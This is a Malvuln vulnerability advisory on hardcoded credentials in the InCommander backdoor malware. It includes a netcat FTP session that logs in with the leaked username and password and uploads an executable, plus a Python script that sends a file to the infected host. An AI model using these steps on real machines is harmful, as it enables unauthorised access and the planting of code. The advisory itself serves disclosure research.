Backdoor.Win32.InCommander.17.b malware suffers from a hardcoded credential vulnerability.
099c10722a16f8ff775b1d257478160f16555c845382490673f316cc2a4f04e4Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/dd76d8a5874bf8bf05279e35c68449ca.txt
Contact: [email protected]
Media: twitter.com/malvuln
Backup media: infosec.exchange/@malvuln
Threat: Backdoor.Win32.InCommander.17.b
Vulnerability: Hardcoded Cleartext Credentials
Family: InCommander
Type: PE32
MD5: dd76d8a5874bf8bf05279e35c68449ca
Vuln ID: MVID-2022-0665
Dropped files: incsrv.exe
Disclosure: 12/14/2022
Description: The malware listens on TCP port 9400 and 9401 and requires authentication. However, the username "IncUser-b3" is stored in cleartext in a file named "incsrv.drv" under Windows dir. The password "InClientMainPassword" is also stored in cleartext but within the PE file "incsrv.exe" at offset 000958d0.
Third-party adversaries may then upload thier own executables using ftp PASV, STOR commands.
Exploit/PoC:
C:\>nc64.exe 192.168.18.125 9401
220 InCommad FTP Server ready.
USER IncUser-b3
331 Password required for IncUser-b3.
PASS InClientMainPassword
230 User IncUser-b3 logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
PASV
227 Entering Passive Mode (192,168,18,125,241,155).
CDUP \
250 CWD command successful. "C:/" is current directory.
STOR DOOM_SM.exe
150 Opening data connection for DOOM_SM.exe.
226 File received ok
from socket import *
MALWARE_HOST="192.168.18.125"
PORT=61851
DOOM="DOOM_SM.exe"
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)
while EXE:
s.send(EXE)
EXE=f.read()
s.close()
print("By Malvuln");
if __name__=="__main__":
doit()
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